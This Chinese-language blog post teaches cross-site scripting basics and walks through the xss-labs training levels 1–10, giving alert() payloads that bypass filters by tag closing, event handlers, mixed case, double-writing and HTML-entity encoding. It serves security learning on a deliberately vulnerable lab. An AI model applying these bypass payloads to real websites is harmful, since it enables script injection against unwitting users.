xss跨站脚本攻击

XSS基础

漏洞原理


接收输入数据,当这个数据为前端的js代码时,输出显示数据后会解析执行,不是主动漏洞,需要受害者触发,常出现在前端部分
常用标签:[xss 常用标签及绕过姿势总结 - FreeBuf网络安全行业门户](https://www.freebuf.com/articles/web/340080.html)

XSS类型

反射型(非持久)

反射型XSS 是非持久性、参数型的跨站脚本。反射型XSS JS 代码在Web 应用的参数(变量)中,如搜
索框的反射型XSS。在搜索框中,提交PoC[scriptalert(/xss/)/script],点击搜索,即可触发反射型XSS
注意到,我们提交的poc 会出现在search.php 页面的keywords 参数中。

存储型(持久)

存储型XSS (Stored XSS)又称为持久型跨站点脚本,它一般发生在XSSpayload存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。

DOM型

DOM(Document Object Model)型 XSS(Cross-Site Scripting)攻击是一种 Web 应用程序中的安全漏洞,其特点是攻击者成功地注入了恶意脚本,这些脚本在用户的浏览器中执行,从而导致恶意行为。DOM 型 XSS 攻击不同于传统的存储型 XSS,它发生在客户端,通过操作 DOM 实现攻击。

xss验证

验证xss存在的PoC如下:

(1)scriptalert(/xss/)/script
(2)scriptconfirm('xss')/script
(3)scriptprompt('xss')/script

xss测试

黑盒

有输入框的都测一遍

URL的每一个参数、URL本身、表单、搜索框、常见业务场景
重灾区:评论区、留言区、个人信息、订单信息等
针对型:站内信、网页即时通讯、私信、意见反馈
存在风险:搜索框、当前目录、图片属性等

白盒

主要从接收参数的地方入手,对接收到的数据进行追踪看有没有显示到页面中,然后看输出到页面的数据是否进行了过滤和html编码处理。

也可以从输出语句入手,追踪输出的变量从哪来,我们是否可以控制。

xss靶场-xsslabs

level1

可以看到name接收到的值直接显示在页面中,直接插入payload

payload:

name=<script>alert(1)</script>

level2

直接上payload看到显示在了页面中但是却没有触发弹窗

查看源代码发现<>都被编码成了html字符实体,但是插入到value中的值没有进行编码

可以尝试进行标签闭合

payload:

"><script>alert(1)</script><"

level3

进行闭合也没有成功

可以看到两处都进行了实体化处理

可以通过事件弹窗的触发

payload:

' onfocus=javascript:alert(1) '

点击输入框触发弹窗

level4

和第三关一样,双引号

payload:

" onfocus=javascript:alert(1) "

level5

可以看到对onfocus进行了防范

但我们还可以使用标签执行js代码

payload:

"> <a href=javascript:alert(1)> "<

level6

对href也进行了防范

可以通过大小写进行绕过

payload:

"> <sCrIpT>alert(1)</ScRiPt> <"

level7

对script进行了过滤

可以进行双写绕过

payload:

"> <scrscriptipt>alert(1)</scrscriptipt> <"

level8

可以看到插入到了两个地方,都进行了防护处理

查看源代码防护很猛,对输入值进行了小写转换,进行了实体化处理

进行编码绕过,利用href自动unicode,对为协议进行unicode编码处理

payload:

javascript:alert(1)
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

点击友情链接触发

level9

对输入内容进行了检测要求携带http://,在上一关的基础上加上/*http://*/

payload:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/*http://*/

level10

查看源代码发现有隐藏参数

payload:

t_sort=" onfocus=javascript:alert() type="text

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值